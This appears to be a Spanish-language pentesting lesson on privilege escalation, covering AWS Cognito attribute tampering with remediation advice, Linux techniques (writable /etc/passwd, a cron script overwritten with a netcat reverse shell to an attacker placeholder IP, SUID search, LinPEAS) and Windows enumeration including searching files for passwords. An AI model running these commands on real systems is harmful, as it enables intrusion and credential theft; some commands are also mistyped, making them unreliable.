← Regresar a lecciones

Explicación de la Escalada de Privilegios

Procesos que se ejecutan automáticamente

¿Cómo funcionan?

Una de las preguntas más importantes es, ¿qué es exactamente el Escalamiento de Privilegios? Es una situación que ocurre cuando un usuario malicioso explota una vulnerabilidad. Esta puede consistir en un bug o un fallo en el diseño de la aplicación.

También puede tratarse de cierto error de configuración de la aplicación o del sistema operativo en el cual está operando el usuario. Básicamente, lo que sucede es que el usuario malicioso termina obteniendo acceso privilegiado a recursos que, de acuerdo a sus permisos por defecto, no debería tenerlos. Dichos privilegios de acceso le darán la posibilidad de robar datos confidenciales o de carácter sensible, ejecutar comandos con permisos de administrador. O peor aún, puede arrojar malware o ransomware, lo cual dañaría tu sistema operativo en gran medida.

Especialmente, en una organización, esto puede afectar en gran medida la reputación de la misma. Esto es así ya que tanto las personas que trabajan de ella como las que no, pueden tener una percepción negativa sobre las medidas de seguridad informática que se aplican en ella. De acuerdo a lo que comentamos anteriormente, la escalación de privilegios acostumbra a ser la puerta de entrada a ataques mucho más específicos y, por ende, más severos. Uno de los aspectos más preocupantes es que estas escaladas maliciosas pueden confundirse con facilidad con las actividades diarias que se registran en la organización.

NoSQL2

¿Cómo funciona la Escalamiento de Privilegios?

Los cibercriminales, empiezan con la explotación de alguna vulnerabilidad que permita ejecutar dicha escalada, ya sea en un sistema o aplicación. Pueden acceder tanto a datos como funcionalidades de otro usuario con mayor cantidad de privilegios (esto es el Escalamiento Horizontal de Privilegios) o bien, obtener privilegios elevados. Tales privilegios elevados generalmente provienen de usuarios administradores o los conocidos como "power user". A esto último se lo conoce como Escalamiento Vertical de Privilegios.

Para comprender mejor ambos tipos de escaladas, tanto la horizontal como la vertical, haremos algunas distinciones:

Escalamiento Horizontal: Es la capacidad de realizar una o más acciones similares a los permisos y accesos que tiene una cuenta con bajos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede también leer las citas médicas gestionadas por otros usuarios del sistema evaluado. el usuario malicioso mantiene sus privilegios de bajo nivel actuales.

Sin embargo, consigue tener acceso a datos y funcionalidades que no deberían estar disponibles para este. Los mismos pueden pertenecer a otros usuarios con mayores privilegios o procesos de sistema. Un ejemplo que se puede citar es el acceso a perfiles de usuarios ajenos al tuyo, aunque estés dentro de tu propia sesión. Esto puede aplicarse a redes sociales o plataformas de compras, bancos, etc.

Implica obtener acceso a otra cuenta, humana o máquina, con privilegios similares. Generalmente conocido como apropiación de cuenta, esto explora la falta de protección adecuada en dicha cuenta. Es importante para un atacante porque aumenta la superficie de ataque y tal vez esta cuenta tenga acceso a algo que tenga una vulnerabilidad que permita una escalada vertical de privilegios.

Escalamiento Vertical: Es la capacidad de realizar una o más acciones diferentes a los permisos y accesos que tiene una cuenta con altos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede inicialmente leer las citas médicas, pero adicionalmente ahora tiene la capacidad de editar, eliminar y crear usuarios del sistema de citas médicas.

En este caso, el usuario malicioso que tiene una cuenta de usuario con privilegios bajos, pasa a tener mayor cantidad de privilegios como si fuese un usuario administrador de Windows, por ejemplo. Aunque el Escalamiento de Privilegios puede ocurrir en cualquiera de los otros sistemas operativos que conocemos. A partir de este momento, el usuario malicioso puede tener completo control sobre las credenciales de otros usuarios, datos importantes, procesos, aplicaciones y más.

Podrá descargar malware, borrar datos o bien, ejecutar código malicioso para llevar a cabo ataques aún más severos. La peor parte es que el cibercriminal puede borrar cualquier rastro del ataque que haya llevado a cabo mediante esta escalada de privilegios, de manera a que no sea posible localizar algún tipo de evidencia que permita el análisis de estos eventos.

Implica obtener acceso a una cuenta que tiene mayores privilegios, por ejemplo, de un usuario normal que obtiene derechos de root. Esto puede resultar complejo porque es posible que se necesitan varios pasos y condiciones para omitir o anular los controles.

NoSQL3

¿Cómo ejecutamos la técnica para escalar privilegios?

Amazon Cognito es un proveedor de autenticación completamente administrado que permite el registro, la verificación, el inicio de sesión del usuario y más. Posterior al ingresar nuestras credenciales en un entorno en donde se encuentra funcionando AWS cognito se mostrará una solicitud y respuesta similar a la siguiente forma:

NoSQL4

En el cuerpo de la solicitud se puede visualizar un parámetro de nombre “AccesToken” en algunos casos este nombre puede variar, este parámetro contiene un token JWT el cual al ser enviado al servidor este responde con información relacionada a la cuenta como el parámetro custom:profile y custom:registerType.

NoSQL5

La información mostrada anteriormente puede ser consumida directamente desde la interfaz de línea de comandos (cli) de AWS, como condición es importante contar con el valor del parámetro “AccesToken” el cual será utilizado por la opción “—acces-token” en el cli de AWS. A continuación, se describe la línea de comando utilizada:

1aws –no-verify-ssl cognito-idp get-user –region us-east-1 –acces-token “valor del parámetro AccesToken”

Finalmente, para concretar la técnica intentaremos editar el valor de los atributos custom:profile y custom:registerType de cliente a administrador, ejecutando las siguientes líneas de comando:

1aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:profile, Value=administrador1.   aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador
1aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador

Ejecutando los pasos descritos se puede verificar que efectivamente utilizando está técnica es posible escalar privilegios de manera vertical, es decir, en nuestra imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario que inicialmente podía leer citas médicas ahora también tiene la capacidad de editar, eliminar y crear usuarios del sistema.

NoSQL6

Tips:

  1. El valor del usuario de altos privilegios puede variar, es decir, podría ser: admin, administrator, administrador o tener otro nombre, para ello se recomienda revisar los archivos js en donde quizás se pueda encontrar mayor información.
  2. En algunos casos el parámetro “—region” varía, para ello se tendría que probar con otros valores:

https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/using-regions-availability-zones.html

Recomendación

  1. Realizar una validación de permisos y privilegios en donde AWS Cognito no permita la edición de atributos a usuarios con bajos privilegios.
  2. La remediación de lo descrito esta ligado estrictamente a una inadecuada configuración en AWS cognito en donde los permisos de escritura y lectura no fueron segmentados y establecidos de manera correcta.
  3. Se recomienda leer la documentación emitida por el fabricante para restringir y limitar la edición de atributos:

https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html

Para actualizar los permisos de atributos a través de la consola:

  1. Vaya a AmazonCognito en la consola de administración de AWS. Si la consola te lo pide, introduce tus credenciales de AWS.
  2. Selecciona Grupos de usuarios.
  3. Elige un grupo de usuarios existente de la lista.
  4. Elige la pestaña Integración de la aplicación y en la sección Clientes de la Aplicación, elige un cliente de aplicación de la lista.
  5. En la sección Permisos de lectura y escritura de atributos, selecciona Editar.
  6. En la página Editar permisos de lectura y escritura de atributos, configure los permisos de lectura y escritura y, a continuación, seleccione Guardar cambios.

Los servidores son mayormente Linux, pero también hay server con Windows veamos alguna técnicas de escala de privilegios.

Escalada de privilegios en Linux

Sudo es un software que permite al administrador del sistema brindar a ciertos usuarios (o grupos de usuarios) la capacidad de ejecutar algunos (o todos) los comandos como root mientras registra todos los comandos y argumentos. Entonces, cuando un usuario quiere ejecutar algún comando con permisos de root, generalmente lo hace. Lo primero que debe hacer un usuario al acceder a una máquina es precisamente ver qué versión de Sudo existe (si existe) con el comando sudo --version.

NoSQL8

Esta es actualmente la última versión de sudo por lo que no debería tener ninguna vulnerabilidad, o mejor dicho, no debería tener ninguna vulnerabilidad conocida. Un vector de ataque típico en la escalada de privilegios son los programas obsoletos y, en este caso, existe un exploit conocido para la versión sudo ≤1.8.14 que permite a cualquier usuario obtener acceso root (CVE-2015–6502).

NoSQL9

Aún en Sudo, siempre se debe ejecutar el comando sudo -l donde se pueda ver qué comandos puede usar un usuario con privilegios en el host. Aún así, para ejecutar dicho comando como root el atacante debe conocer la contraseña del usuario.

NoSQL10

En este ejemplo, al ejecutar sudo -l sabemos que el usuario puede ejecutar el comando sudoedit en el archivo /home///test.sh como root.

Archivos confidenciales grabables

Esto sucede cuando el usuario puede escribir en /etc/passwd o /etc/shadow. Estos archivos son donde en el sistema se guardan todos los usuarios que tienen acceso al sistema y los hash de contraseña de los usuarios, respectivamente.

NoSQL11

La imagen de arriba muestra los permisos correctos que debe tener el archivo; solo el usuario root debe poder escribirlo. Si cualquier usuario pudiera escribir en él, un atacante podría crear una entrada que diga que cierto usuario tiene privilegios de root.

Para profundizar un poco más en cómo sucede esto, primero debemos saber un poco cómo se completa ese archivo. Esta es una línea normal en el archivo:

1test:x:0:0:root:/root:/bin/bash
  • Prueba: es el nombre de usuario
  • x: es la contraseña. Cuando es una 'x' significa que la contraseña está cifrada en/etc/shadow
  • 0: es el ID de usuario. '0' está reservado para root.
  • 0: es el ID del grupo
  • raíz: es la información de identificación del usuario
  • /root: es el directorio de inicio del usuario
  • /bin/bash: es la ruta absoluta del shell que utiliza este usuario.

Ahora veamos la prueba de concepto de la vulnerabilidad. Para recordar, lo que queremos hacer es, si podemos escribir en /etc/passwd, crear un hash de contraseña, hacer una entrada en el archivo con el hash que creamos en la contraseña, iniciar sesión como ese usuario con acceso root.

  1. Crear hash de contraseña:

NoSQL12

  1. Crea una entrada y colócala en el archivo:

NoSQL13

  1. Simplemente inicie sesión en el usuario ch con privilegios de root. La contraseña es pass123.

Procesos que se ejecutan automáticamente

Los cronjobs son procesos que el sistema ejecuta automáticamente con una cierta periodicidad. A veces, estos ejecutan un determinado archivo bash como root y también ejecutan un determinado conjunto de comandos como root. Si identificamos un cronjob que ejecuta un archivo que también podemos escribir… Verás hacia dónde va esto.

Para ver qué cronjobs se están ejecutando, simplemente ejecute el comando cat/etc/crontab. Si esto no devuelve nada útil podemos ejecutar un programa llamado pspy64 (https://github.com/DominicBreuker/pspy) que nos muestra todos los procesos en ejecución en el sistema.

En este ejemplo, encontramos que cierto archivo (cleanall.sh) se ejecuta como root y podemos escribir en él. Así que intentamos que ejecute un shell inverso de netcat en nuestra máquina y, si la conexión es exitosa, obtenemos acceso root a la máquina.

  • En nuestra máquina iniciamos un oyente netcat:
1nc -lnvp <port>
  • En nuestro objetivo colocamos en el archivo anterior una conexión con nuestro oyente:
1echo "nc -e /bin/bash <our_ip> <port> > cleanall.sh.

Cuando esto se ejecuta, tenemos nuestro shell raíz.

Abusar de SUID/GUID

Esto es un poco más complicado, por lo que hay algunos conceptos teóricos de los que se debe hablar. Todo en Linux es un archivo con permisos.

NoSQL14

Este archivo tiene todos los permisos y podemos configurarlo con el comando chmod 777. Te preguntarás por qué 777, bueno, se trata de bits. Si piensa en estos permisos como bits 7, es la combinación de 4 (lectura), 2 (escritura) y 1 (ejecución). Entonces chmod 600 corresponde a rw -— — y chmod 764 corresponde a rwx-rw-r. Un SUID es un tipo de permiso de usuario que permite a los usuarios ejecutar un archivo con los permisos de un usuario específico. Aquellos archivos que tienen permisos SUID se ejecutan con privilegios más altos.

Bueno, ahora, ¿cómo los encontramos? Bueno, usando el siguiente comando. find / -perm -u=s -type f 2>/dev/null

Ahora cada comando que tiene un SUID tiene un método de exploración diferente, por lo que no puedo ponerlos todos aquí. Pero hay muchos exploits en el increíble sitio web https://gtfobins.github.io/ .

LinPEAS

LinPEAS es un script que busca automáticamente posibles rutas para escalar privilegios. El objetivo es descargar el script en la máquina de destino, otorgarle los permisos y ejecutarlo. Podemos obtener el script en https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS .

Escalada de privilegios de Windows

Enumeración inicial

  • Enumeración del sistema
1systeminfo 2 3systeminfo | findstr /B /C: "os name" /C: "os version" /C: "system type"

NoSQL15

Hostname

NoSQL16

  • wmic qfe

    • wmic = Línea de comandos de Instrumentación de Windows
    • qfe = Ingeniero de correcciones rápidas
  • wmic logicaldisk

  • wmic logicaldisk get caption,description,providername

NoSQL17

Enumeración de usuarios

  • whoami /priv

    • Para saber qué privilegios tenemos.
  • whoami /groups

    • Para saber en qué grupos se encuentra el usuario.
  • net user

    • Esto nos mostrará los usuarios en esa máquina.
  • net user user1

    • Para más información de ese usuario1.
  • net local group user1

  • ipconfig

  • ipconfig /all

  • arp -a

    • Tablas ARP.
  • route print

  • netstat -ano

¿A quién nos comunicamos, etc.?

Búsqueda de contraseñas

Algunos archivos SAML almacenan hash de contraseñas en el sistema

  • unattend.xml también puede almacenar contraseñas.

  • findstr /si password *.txt *.ini *.config

    • La contraseña es una cadena aquí, puede ser reemplazada por cualquier cosa.
  • findstr /spin "password" *

    • Encuentra todas las contraseñas en todos los archivos.

Cortafuegos y antivirus

  • sc query windefend

    • sc = service control

    • windefend checks if Windows Defender is present or not.

NoSQL18

Está funcionando

1sc queryex type= service

Muestra todos los servicios que se ejecutan en el sistema.

NoSQL19

  • netsh advfirewall firewall dump

  • netsh firewall show state

NoSQL20

  • netsh firewall show config
    • muestra la configuración del firewall.

NoSQL21

NoSQL22